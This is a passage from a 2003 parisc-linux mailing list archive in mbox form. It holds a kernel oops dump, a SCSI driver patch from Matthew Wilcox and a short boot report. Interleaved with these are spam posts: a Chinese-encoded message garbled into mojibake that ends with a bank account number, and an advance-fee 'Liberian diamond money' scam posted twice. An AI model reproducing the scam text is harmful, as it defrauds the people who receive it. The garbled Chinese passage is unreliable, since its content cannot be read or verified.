> 17fb86e8:  10090600 100906a0 10357000 17ff7800
> 17fb86d8:  17ff8bac 10385f84 00000202 00000001
> 17fb86c8:  103862c0 00002574 00002575 00000000
> 17fb86b8:  100e2568 000000d0 100e2568 10214844
> 17fb86a8:  00000001 100e2584 00000001 100e2568
> 17fb8698:  10094ac0 17ff0088 00000000 1033a000
> 17fb8688:  10468810 10397010 10370010 10391054
> 17fb8678:  00000004 000012c8 10454a18 101421fc
> 17fb8668:  00001329 10397010 10370010 103d11c0
> 17fb8658:  00000000 0000004d 10472478 ffffffff
> 17fb8648:  100e2568 00000080 00000001 f00000a4
> 17fb8638:  f00000ac f00010f4 00000000 10141b60
> 17fb8628:  0000004d 00000000 103d11c0 10370010
> 17fb8618:  10453810 10385810 10453884 1037f5ec
> 17fb8608:  100e2568 100e2568 100e25d4 10391054
> 17fb85f8:  00000004 00001382 10454a18 1010b088
> 17fb85e8:  0000139c 10397010 100e2568 100e2584
> 17fb85d8:  00100100 00200200 17ee4034 10434810
> 17fb85c8:  10397010 10370010 103d11c0 f00000a4
> 17fb85b8:  f00000ac f00010f4 00000000 101422c8
> 17fb85a8:  0000004d 00000000 17fb8488 00000002
> 17fb8598:  10090600 17ee4034 00000194 00000000
> 17fb8588:  4b5a0328 0000001f 100e25d4 103d11c0
> 17fb8578:  00000000 0000004d 000000fd 10257458
> 17fb8568:  1025ba9c 00000000 00000000 00000000
> 17fb8558:  00000000 00000000 00000000 00000000
> 17fb8548:  00000000 00000000 00000000 00000000
> 17fb8538:  41000000 00000000 40800000 00000000
> 17fb8528:  40000000 00000000 40000000 7fffffff
> 17fb8518:  41800000 00000000 40200000 00000000
> 17fb8508:  40200000 00000000 40300000 00000000
> 17fb84f8:  41000000 00000000 40800000 7fffffff
> 17fb84e8:  7fffffff 00000000 41000000 7fffffff
> 17fb84d8:  7fffffff 00000800 00000400 00000200
> 17fb84c8:  00000100 00000080 00000040 00000000
> 17fb84b8:  00000000 00000010 00000010 00000000
> 17fb84a8:  41800000 25b7ea20 45e69c6a 00000000
> 17fb8498:  00000000 e0000000 43ebebeb ffffffff
> 17fb8488:  7f7fffff 00000020 00000010 00000000
> 17fb8478:  00000000 00000000 00000000 00000000
> 17fb8468:  00000000 00000000 00000000 00000000
> 17fb8458:  0000001f 00000000 0000001f 00000000
> 17fb8448:  0000001f 00000000 000b0800 10142ce8
> 17fb8438:  17fb83c0 0000000b 00000000 1036e010
> 17fb8428:  00000000 17ffc360 000002c7 10082000
> 17fb8418:  0000000f 0000001f 00000036 0000001f
> 17fb8408:  f00000a4 f00000ac f00010f4 00000000
> 17fb83f8:  000000fd 0000004d 00000000 103d11c0
> 17fb83e8:  10370010 ffffffed 17ff0000 00000022
> 17fb83d8:  10468810 1033a000 00000000 17ff0088
> 17fb83c8:  1025baa0 1025b800 000eff0f 100cd800
> 17fb83b8:  fffffffb 10353000 10370528 f3f8c800
> 17fb83a8:  00000001 1033a000 10353000 00000022
> 17fb8398:  17ff0088 00000001 1033a000 10468810
> 17fb8388:  00000022 17ff0000 ffffffed 10391054
> 17fb8378:  00000004 000011b5 10454a18 103e7e64
> 17fb8368:  000011de 00000000 100864e0 10359e74
>
> Kernel addresses on the stack:
> [<10124204>] copy_process+0x3d8/0x9f0
> [<10106220>] parisc_terminate+0x60/0xb8
> [<1013efec>] buffered_rmqueue+0xd8/0x164
> [<10106524>] handle_interruption+0x2ac/0x5bc
> [<10214844>] serial8250_console_write+0x1ac/0x37c
> [<101421fc>] do_drain+0x18/0x28
> [<10141b60>] slab_destroy+0x15c/0x214
> [<1010b088>] intr_check_sig+0x0/0xc
> [<101422c8>] __cache_shrink+0x70/0xc0
> [<10257458>] ncr_detach+0x0/0x374
> [<103d11c0>] start_kernel+0x4/0x214
> [<103e7e64>] zalon_probe+0x240/0x270
> [<1010ecf8>] parisc_driver_probe+0x2c/0x60
> [<10219dcc>] bus_match+0x48/0x80
> [<10219f28>] driver_attach+0x70/0xa4
> [<1021a1b0>] bus_add_driver+0x98/0xa8
> [<101ec1b4>] pci_populate_driver_dir+0x30/0x38
> [<1021a51c>] driver_register+0x48/0x54
> [<103e7c14>] sym2_init+0x18/0x28
> [<103d1438>] do_initcalls+0x58/0xdc
> [<10100400>] init+0x2c/0x144
> [<1010ac5c>] ret_from_kernel_thread+0x1c/0x24
>
>
> Kernel Fault: Code=26 regs=17fb83c0 (Addr=00000194)
>
>     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000011101111111100001111 Not tainted
> r00-03  00000000 1025b800 1025baa0 17ff0088
> r04-07  00000000 1033a000 10468810 00000022
> r08-11  17ff0000 ffffffed 10370010 103d11c0
> r12-15  00000000 0000004d 000000fd 00000000
> r16-19  f00010f4 f00000ac f00000a4 0000001f
> r20-23  00000036 0000001f 0000000f 10082000
> r24-27  000002c7 17ffc360 00000000 1036e010
> r28-31  00000000 0000000b 17fb83c0 10142ce8
> sr0-3   00000000 00000000 00000000 00000000
> sr4-7   00000000 00000000 00000000 00000000
>
> IASQ: 00000000 00000000 IAOQ: 1025ba9c 10257458
> IIR: 4b5a0328    ISR: 00000000  IOR: 00000194
> CPU:        0   CR30: 17fb8000 CR31: 103c6000
> ORIG_R28: 00000000
> IAOQ[0]: ncr53c8xx_release+0xc/0x20
> IAOQ[1]: ncr_detach+0x0/0x374
> RP(r2): ncr53c8xx_release+0x10/0x20
>
> Now what do you thing foward pa20 or backward pa14?
>
Well:
hpalin login: root
Password:
Last login: Sun Sep 28 21:48:39 2003 on ttyS0
Linux hpalin 2.6.0-test5-pa14 #1 Sun Sep 28 22:10:24 CEST 2003 parisc 
GNU/Linux

So break is in patch...-pa14-pa18 (if I am lucky I could check it next 
week :) )

Joel



From - Thu Nov 08 21:29:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?GB2312?B?1b7U2rSwx7C1xMWuuqI=?= <cqnvhay@163.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?GB2312?B?1b7U2rSwx7C1xMWuuqKjrM34wufRsMv7?=
Date: Mon, 29 Sep 2003 05:18:19 +0800
Lines: 80
Approved: news@gmane.org
Message-ID: <20030928211601.312A348DB@dsl2.external.hp.com>
Reply-To: cqnvhai@163.com
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;charset="GB2312"
X-Trace: ger.gmane.org 1416622825 31744 80.91.229.3 (22 Nov 2014 02:20:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 28 15:16:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from 163.com (unknown [61.28.22.146])
	by dsl2.external.hp.com (Postfix) with ESMTP id 312A348DB
	for <parisc-linux@lists.parisc-linux.org>; Sun, 28 Sep 2003 15:16:01 -0600 (MDT)
X-Priority: 3
X-Mailer: Microsoft Outlook Express 5.00.2615.200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19665

վڴǰŮ 
۵ӰͲ˻Ӱֻ 
ɣип֪˺֪ʵ 
Ȼݣ۾ٲѡ 
ͣĸ壿ɳ̲ 

վڴǰŮ 
ֻּҸǧòҪǰս 
ҰսŮӦԷ 
лʦϣֻʮ¿ͥС 
˭ĵȻ˭ǻ 

վڴǰŮ 
근ʮϲʫķơ 
ĸмҲǧޣҲĮȻ 
˵ӳиҵΪТӪ軹һ롣 
˭ҿֵĿɽ˭ǧĵȴ 

վڴǰŮ 
òֽ߲Ӱ¿˳ 
ۣƣᵱٵ 
һ裬飬Ȼ 
ԭ˳ãǧԵݣ 

վڴǰŮ 
03828ڹ 
Email:cqnvhai@163.com 
http://www.blogcn.com/blog/?u=cqnvhai


һøס 
װ걻ĸȥˣֻһ游һͬĸĲĸǶӵضĻˡ׺ܰĸףĸҲܰסÿһνĸʱܸоǷǷݾҲ8꣬ĸĸ׳ʧڳͥͻȻʣĸ鰮ʹʧ˸׳صĴͬʱҲǻڶԹ游˼״һصйɳ 
ڣͯķĸҵļֻһģļӰΨһӡǿĸ׵ƬܻĸվҴǰ΢ЦͯʱʹҪҪ裬ҾܾˡǸױȫϣΨһŮϣֱҲ⸸׺ڳɳʮ֮Բ½飬ΪĸľͿ̹ĵĸԡʮΪĸعʮ꣬Ҳһ˱һˡһˣҲһŵˡںöĵ游İĲҲ˾ܵİҴϲȥ游ңʮֻȥĴΣζǸȥġ 
ʹǲһֵŮ΢ЦŸңһ㶼ֻ֣һƸеšûܹöΪʲôʢûܹ׺Ϊʲô֩ϾҲûܹСʼռʥ˵ĴڡЩŵ㲻Ҫ׵ĶְΪŮԺ 
ǵģһȺ˲һŮڸ׵ĳһῴŴĳ24ųеҹſֽһһǶȿʣڱﾲҵԼĿֻ顣Ÿ׵˾ȥо˻æµˣʸǲԺҲҪϰ๤ҵļ˵ϲԴ͸ҵʹ㲻ǲҪģְֻ׼㹻ǮֻҪϲ£ĿЦݾǰְ룬ٴһ㣬ְֻҪеռǳ飬ԸԸ⣬Ҵ 
лʳǣлҴûΪǮл׸һֵĴ԰ҳ˳ҡǽһжѾڡһŮһŮһ˸׵İԼͻᱻŮѲУѰܣٻ׵Լռǣ˼䴴˸п˭ܹףǸеϣڣڸõĻر;Тެܺҵһ룬Լֵȥ 
վڴǰŮ򵥵һŮôϡŹ֣һŮܻԣȻȹᴩ´磬Ȼʲ״ףֻΪһиѳϰߣ 
ĸģĲѣҷɳ̲ΪĴ磬ѧİšվڴǰŮ˭ԸΪһŮǧ谮˭ԸΪһŮȥ׷һʣ˭ԸΪȢһŮȷʵ޺ãã˺ʵĴ𰸣 
ۣݣʳѣѵЩٻ 

վڴǰŮ 
0391峿ãڹ 
 
 
ĵڴ˺ѰҴ𰸡컹ãƲɢݵ˵ͱ䣬̨˵һҹʲôݣٲѣֻҲˣһһʲôСС֪ǮΪСΪǮǿòĳƱŸ׵ȥ׸ĿҲûǮ³ǵģ̫ˣΪҲϲİˣԸҲİ˰˾˴ؼңΪ̫ƧԴŮеѧҲûʲô֪ĵͬѡһĬĬԼŷ仨ѩ£Сѿд¶ĵ̾ ҲϲһкȻʥ˵ĴڣһA4ֽһԲȦ󵽿԰˵Դװȥȴ֪ô˶ʮ̸ 
ǵġһŮһƣ磬Խдṩõϣϲ£ѵҲддƲϲԼ⣬ֻΪ𼦱ɱʱʹᣬƿڵϵˣƻеǮѵеһжǴı֣ΪƵ۾￴綼ǵ¥ˡҸ˲һԸΪҲ硢ܹڳ˵˼ά͹۵⡣ΪЩΪܹԼԸȥȥϲԴ͸󱨴𡣾һƣ˭ܸӦô 
ʮ£ͥеӣƻԲķʽѸеĲƲһ޿ҪˡͬҲܼҲҪΪƵĻᣬҲϲԴ͸Ƶƾ٣ر˼άһӽȥЩˣ֤ƴڵļֵ 
ףǣлԸƵˣʱƻرķʽƵصЩĵˡЩᳰЦЩܹʥ˴ڵˣ 
ǵģվڴǰŮȷʵڣȷʵʵ֮ҲͬΪǶûվڴ⣡ǵģ٣ҲһѰʵ 

վڴǰŮ 
Email:cqnvhai@163.com 
0393賿 ڹ 


ǵģƵȷһֵŮӡ
˵3ʱҾͺϲɫƬǸȴǰѻƬǸ׾ͰѻƬתҿһҪ׾ͻҵ۾ëʹȥҽҽĽǣӰͼƬ󣬳ΪӡһһʱǵһĹߣ۽Ĥ൱ĵƬγһ񡣵ǣ񴫵ԵӾ࣬ۺϷ㱻ˡ3µ׶ƤʹδȫȱƵۺϷǿͼǵģֻаѻƬܸܵλ񡣲ʱ̣ܶŴƤʹƣȻȻʧˡ
ʱȴԶֱƿ磬ǵŵġŵķӡŵ·ŵˡհһƣɻŬİյһеһƿڲֱܷͬңƹ·ϳ˶һΣյľٶܶڳ˿Ȼ飬ƻвͬĿҲƵرҲƶƸе֪ԼʺϹ˳ǲʺϹġ
һƣ˭ܸʲô˭ܸҸôһƣ׸úȥδӣʧȥ׵ӣ˭ܹ˭Ը˭Ըǻ˭Ը谮һŮһֵŮȷʵĴڣ
ˣȷʵˣþ̲Ǹ壿ǹޣ
ʧʱ򡢵ĵʱ򡢵پʱͬĵطҲϣиδδ֪δǵվڴǰŮڿѰҴ𰸣

վڴǰŮ
0397ҹڹ


г˫ĸֻΪǶڣ֪ȡеǲܵģֻҪһ;㹻Ŀĺڣһôܸôǿϣܹõ˵ͬرԼϲԼ˵ͬ,ԲŻа𼧡ϽŮǧѰǧŴ棡ͨʲôķʽҵҵԼֵһֻǵȴԼĻԼһżȻˣȻ˼龰һȴʡ֪ԼĳͶ̰壡ֻһܹԼͬԼһԸΪһ˷жԹ޻ڣװŵֻǳ͸ж
ǵƺгգΪն˥ϵһ죬ҲֻƤŵƵѪ⣬Ωвϵֻ˼ĸԲֵͺĵط
ưԼֵռǹϣյڶʼBBSԣǻɺȻҲһЩ˵ף͹ġڴĶƹµ˱ʾף͸лǹĻϣܹЩЩĹƵѣҲܹõһЩæ֤ԼļֵΪƵ˼룬Ϊûռ 
ٴƲƭӣҲԵĲԣȷʵͬһ磡֮Ը׵ʺȷʵΪҪֻΪƵĻᣬҲϲԴ͸Ƶƾ٣ϣ֮һЩݺ⡢һЩϺͰõ㣡ĿͷԣΪҲΪ˴˼ʣһ˵Ļһì֮ܵﱾһìܵļϣ߼߼,ȥϸɸɾɳµľֵǧȴˡżʶ˼룿ܹܵڶĿ
ڵƵȷҪаƵEmail´绰ͻʺţʱƻرķʽƵص!
һͨʺţ9555 5020 0150 9251 ׵Ŀ 

վڴǰŮ
03924賿ڹ
Email:cqnvhai@163.com
http://www.blogcn.com/blog/?u=cqnvhai  
 
 


From - Thu Nov 08 21:29:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: zalon/ncr53c720 (linux-2.6.0-test5-pa22) broken on C110
Date: Sun, 28 Sep 2003 22:49:21 +0100
Lines: 69
Approved: news@gmane.org
Message-ID: <20030928214921.GN24824@parcelfarce.linux.theplanet.co.uk>
References: <3F76A312.8090603@tiscali.be> <20030928122414.GF24824@parcelfarce.linux.theplanet.co.uk> <3F77227F.7000400@tiscali.be> <3F774571.6050100@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622825 31747 80.91.229.3 (22 Nov 2014 02:20:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:25 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org,
	James Bottomley <James.Bottomley@steeleye.com>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 28 15:49:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2EC3548D9
	for <parisc-linux@lists.parisc-linux.org>; Sun, 28 Sep 2003 15:49:23 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A3jPt-0001pk-LJ; Sun, 28 Sep 2003 22:49:21 +0100
Content-Disposition: inline
In-Reply-To: <3F774571.6050100@tiscali.be>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19666

On Sun, Sep 28, 2003 at 08:32:49PM +0000, Joel Soete wrote:
> Joel Soete wrote:
> 
> >Sorry it already failled with following satck dump:

OK; we don't need the stack dump since that's already fixed in the top
of tree.

> >zalon_probe: Zalon vers field is 0x1, IRQ 34
> >ncr53c720-0: rev 0xf on bus 0 device 0 function 0 irq 34
> >ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
> >ncr53c720-0: suspicious SCSI data while resetting the BUS.
> >ncr53c720-0: dp1,d15-8,dp0,d7-0,rst,req,ack,bsy,sel,atn,msg,c/d,i/o = 
> >0x3fdff00, expecting 0x100
> >ncr53c720-0: FATAL ERROR: CHECK SCSI BUS - CABLES, TERMINATION, DEVICE 
> >POWER etc.!
> >ncr53c720-0: detaching...
> >
> >Now what do you thing foward pa20 or backward pa14?
> >
> Well:
> hpalin login: root
> Password:
> Last login: Sun Sep 28 21:48:39 2003 on ttyS0
> Linux hpalin 2.6.0-test5-pa14 #1 Sun Sep 28 22:10:24 CEST 2003 parisc 
> GNU/Linux
> 
> So break is in patch...-pa14-pa18 (if I am lucky I could check it next 
> week :) )

OK.  Can you try applying the following patch to -pa18?  Note that
applying this patch to the top of the tree will not work (you'd need an
additional patch for that).

Index: sym53c8xx_defs.h
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/scsi/sym53c8xx_defs.h,v
retrieving revision 1.4
retrieving revision 1.3
diff -u -p -r1.4 -r1.3
--- sym53c8xx_defs.h	24 Sep 2003 02:43:42 -0000	1.4
+++ sym53c8xx_defs.h	11 Sep 2003 18:50:08 -0000	1.3
@@ -497,10 +554,20 @@
 
 #else
 
+#ifdef CONFIG_SCSI_NCR53C8XX_NO_WORD_TRANSFERS
+/* Only 8 or 32 bit transfers allowed */
+#define INW_OFF(o)		(readb((char *)np->reg + ncr_offw(o)) << 8 | readb((char *)np->reg + ncr_offw(o) + 1))
+#else
 #define INW_OFF(o)		readw_raw((char *)np->reg + ncr_offw(o))
+#endif
 #define INL_OFF(o)		readl_raw((char *)np->reg + (o))
 
+#ifdef CONFIG_SCSI_NCR53C8XX_NO_WORD_TRANSFERS
+/* Only 8 or 32 bit transfers allowed */
+#define OUTW_OFF(o, val)	do { writeb((char)((val) >> 8), (char *)np->reg + ncr_offw(o)); writeb((char)(val), (char *)np->reg + ncr_offw(o) + 1); } while (0)
+#else
 #define OUTW_OFF(o, val)	writew_raw((val), (char *)np->reg + ncr_offw(o))
+#endif
 #define OUTL_OFF(o, val)	writel_raw((val), (char *)np->reg + (o))
 
 #endif

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: georgeudah@latinmail.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] BUSINESS PARTNER
Date: Mon, 29 Sep 2003 11:23:23 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <20030929092324.6B4F24840@dsl2.external.hp.com>
Reply-To: georgeudah@latinmail.com
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;
	charset="US-ASCII"
X-Trace: ger.gmane.org 1416622826 31748 80.91.229.3 (22 Nov 2014 02:20:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 29 03:23:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from equipo3 (79.Red-80-35-170.pooles.rima-tde.net [80.35.170.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6B4F24840
	for <parisc-linux@lists.parisc-linux.org>; Mon, 29 Sep 2003 03:23:24 -0600 (MDT)
X-Priority: 3
X-Library: Indy 9.0.3-B
X-Mailer: Foxmail
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19667

Dear Sir,

I am George Udah, Director of logistics for the government of Liberia
under former President Charles Taylor,I was in charge of the proceeds
from the diamond mines scattered around the countryside, but since
the current president has accepted to go into exile I decided to leave
the country immediately before it is too late.

I have in my possession the sum of fifteen million United States Dollars
(USD15M), Which I am Willing to invest under your care probably in your
company or another you may recommend. I am currently in hiding in Ghana
since my recent escape from Liberia.

I will unfold the procedure for the realization if you indicate your
interest to collaborate and you will get 20% of the total sum as commission.
Should this proposal not interest you, please disregard it without
prejudice However, if you are interested in this proposal, please contact me using
the above
email.

Please do treat this as a confidential issue as any leakage to the present
goverment will be dangerous to me and my family . please treat this with utmost
urgency that it requires.

Best regards

George Udah



From - Thu Nov 08 21:29:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: georgeudah@latinmail.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] BUSINESS PARTNER
Date: Mon, 29 Sep 2003 11:33:40 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <20030929093341.0A0A74890@dsl2.external.hp.com>
Reply-To: georgeudah@latinmail.com
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;
	charset="US-ASCII"
X-Trace: ger.gmane.org 1416622826 31751 80.91.229.3 (22 Nov 2014 02:20:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:26 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 29 03:33:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from equipo3 (79.Red-80-35-170.pooles.rima-tde.net [80.35.170.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0A0A74890
	for <parisc-linux@parisc-linux.org>; Mon, 29 Sep 2003 03:33:41 -0600 (MDT)
X-Priority: 3
X-Library: Indy 9.0.3-B
X-Mailer: Foxmail
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19668

Dear Sir,

I am George Udah, Director of logistics for the government of Liberia
under former President Charles Taylor,I was in charge of the proceeds
from the diamond mines scattered around the countryside, but since
the current president has accepted to go into exile I decided to leave
the country immediately before it is too late.

I have in my possession the sum of fifteen million United States Dollars
(USD15M), Which I am Willing to invest under your care probably in your
company or another you may recommend. I am currently in hiding in Ghana
since my recent escape from Liberia.

I will unfold the procedure for the realization if you indicate your
interest to collaborate and you will get 20% of the total sum as commission.
Should this proposal not interest you, please disregard it without
prejudice However, if you are interested in this proposal, please contact me using
the above
email.

Please do treat this as a confidential issue as any leakage to the present
goverment will be dangerous to me and my family . please treat this with utmost
urgency that it requires.

Best regards

George Udah



From - Thu Nov 08 21:29:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.0-tes6-pa2
Date: Mon, 29 Sep 2003 12:56:57 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <3F704CAF00002B3F@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622826 31753 80.91.229.3 (22 Nov 2014 02:20:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 29 04:57:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 838794868
	for <parisc-linux@lists.parisc-linux.org>; Mon, 29 Sep 2003 04:57:00 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1A3vi7-0007xd-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 29 Sep 2003 12:56:59 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 29 Sep 2003 12:56:57 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19669

Hi all,

Congratulation it compiles and boot well on my b180 :)

Thanks,
    Joel



-------------------------------------------------------------------------
L'Internet rapide, c'est pour tout le monde. Tiscali ADSL, 19,50 Euro
pendant 3 mois! http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:29:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: NCR53c720
Date: Mon, 29 Sep 2003 14:33:17 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <20030929133317.GP24824@parcelfarce.linux.theplanet.co.uk>
References: <Pine.GSO.4.21.0309291116250.7432-100000@vervain.sonytel.be> <Pine.LNX.4.44.0309291434260.17812-100000@serv>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622827 31764 80.91.229.3 (22 Nov 2014 02:20:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
